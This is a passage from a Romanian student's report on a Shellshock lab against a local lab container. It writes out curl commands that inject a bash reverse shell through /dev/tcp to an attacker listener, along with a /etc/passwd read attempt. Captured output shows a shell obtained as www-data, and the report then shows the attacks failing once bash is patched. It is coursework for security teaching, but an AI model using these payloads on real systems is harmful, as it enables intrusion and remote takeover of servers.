<address>Apache/2.4.41 (Ubuntu) Server at www.seedlab-shellshock.com Port 80</address>
</body></html>
* Closing connection 0
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$
```

Sarcina 4: Obținerea unui shell conectat la atacator prin atacul Shellshock

- Ideea acestei sarcini consta in obtinerea unui reverse shell, un proces este lansat pe masina aflata la distanta, iar intrarea si iesirea sa sunt controlate de la distanta de pe un alt calculator
- programul folosit pentru deschiderea unor astfel de conexiuni este **netcat** prin optiune -l va deveni un server de TCP care asculta o conexiune pe portu specificat
- Vom folosis netcat pe masina virtuala pentru a asculta pe portul 9090; observam la rularea pe masina virtuala a comenzii ifconfig reteaua 10.0.9.1 in care ruleaza containerul

```
[04/27/23]seed@VM:~/.../BirlutiuClaudiu_Cod$ ifconfig
br-1ee11a571e21: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.9.0.1 netmask 255.255.255.0 broadcast 10.9.0.255
    inet6 fe80::42:9dff:fe40:a100 prefixlen 64 scopeid 0x20<link>
    ether 02:42:9d:40:a1:00 txqueuelen 0 (Ethernet)
    RX packets 476 bytes 142898 (142.8 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 744 bytes 97166 (97.1 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
    inet6 fe80::42:c4ff:fe55:4a0d prefixlen 64 scopeid 0x20<link>
    ether 02:42:c4:55:4a:0d txqueuelen 0 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 3 bytes 306 (306.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
```

- presupunem ca atacatorul este masina noastra virtuala care va asculta pe portul 9090: prin comanda: **netcat -l 9090 -k**

```
[04/27/23]seed@VM:~/.../BirlutiuClaudiu_Cod$ netcat -l 9090 -k
```

- atacam programul server printr-un curl in care injectam prin intermediul unei variabile, de exemplu **BIRLUTIU**, un cod prin care se creeaza un reverse shell
 - shell-ul interactiv se va deschide prin: **/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1**
 - stdout si stdin prin tcp**
 - comanda completa:** curl -H "BIRLUTIU: () { echo salut;}; echo Content_type: text/plain; echo; /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1" -v <http://www.seedlab-shellshock.com/cgi-bin/vul.cgi>
 - am executat comanda si am obtinut reverse shell-ul si putem observa cum am obtinut un shell interactiv a carui iesire este tcp si intrarea la fel prin tcp

```

o [04/27/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ curl -H "BIRLUTIU: () { '
echo salut;}; echo Content type: text/plain; echo; /bin/bash -i > /dev
/tcp/10.9.0.1/9090 0<&1 2>&1" -v http://www.seedlab-shellshock.com/cgi-
bin/vul.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/vul.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
> BIRLUTIU: () { echo salut;}; echo Content type: text/plain; echo; /b
in/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 27 Apr 2023 16:06:25 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content_type: text/plain
< Transfer-Encoding: chunked
<
[]

o [04/27/23]seed@VM:~/.../BirlutiuClaudiu_Cod$ netcat -l 9090 -k
bash: cannot set terminal process group (31): Inappropriate ioctl for device
bash: no job control in this shell
www-data@104e9f7d6a85:/usr/lib/cgi-bin$
www-data@104e9f7d6a85:/usr/lib/cgi-bin$ ls
ls
getenv.cgi
vul.cgi
www-data@104e9f7d6a85:/usr/lib/cgi-bin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@104e9f7d6a85:/usr/lib/cgi-bin$ echo "Te-am atacat"
echo "Te-am atacat"
Te-am atacat
www-data@104e9f7d6a85:/usr/lib/cgi-bin$ █
    
```

Sarcina 5: Utilizarea Bash corectat

- In prima faza, pentru a folosi un bash corectat, am modificat in interiorul containrului fisierul **vul.cgi** in **#!/bin/bash** si am repetat apoi pasii de la sarcina 3 si 4 (una dintre aceste sarcini)

```
GNU nano 4.8          vul.cgi          Modified
#!/bin/bash

echo "Content-type: text/plain"
echo
echo
echo "Hello World"
```

```
root@104e9f7d6a85:/# cd /usr/lib/cgi-bin/
root@104e9f7d6a85:/usr/lib/cgi-bin# ls
getenv.cgi  vul.cgi
root@104e9f7d6a85:/usr/lib/cgi-bin# nano vul.cgi
root@104e9f7d6a85:/usr/lib/cgi-bin# cat vul.cgi
#!/bin/bash

echo "Content-type: text/plain"
echo
echo
echo "Hello World"
root@104e9f7d6a85:/usr/lib/cgi-bin#
```


- in continuare incercam un atac de tipul celui de la 3 prin care incercam sa afisam continutul fisierului etc/shadow:
 - `curl -A "()" { echo salut;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd" -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi`
 - vom observa ca parsarea se va face corect și nu se va executa comanda cât pe etc/passwd; vom vedea doar executia scriptului din vul.cgi

```
[04/27/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ curl -A "()" { echo salut;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd" -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/vul.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: () { echo salut;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 27 Apr 2023 16:21:45 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content-Length: 13
< Content-Type: text/plain
<
Hello World
* Connection #0 to host www.seedlab-shellshock.com left intact
[04/27/23]seed@VM:~/.../BirlutiuClaudiuAndrei$
```

- incercam de asemea atacul de la punctul 5 prin care dorim sa obtinem un reverse shell si de asemenea observam ca parsarea se realizeaza cu succes, doar se va executa scriptul **vul.cgi**

```
[04/27/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ curl -H "BIRLUTIU: () { echo salut;}; echo Content_type: text/plain; echo; /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1" -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/vul.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
> BIRLUTIU: () { echo salut;}; echo Content_type: text/plain; echo; /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 27 Apr 2023 16:27:11 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content-Length: 13
< Content-Type: text/plain
<
Hello World
* Connection #0 to host www.seedlab-shellshock.com left intact
[04/27/23]seed@VM:~/.../BirlutiuClaudiuAndrei$
```

```
[04/27/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ nc -l 9090 -k
[]
```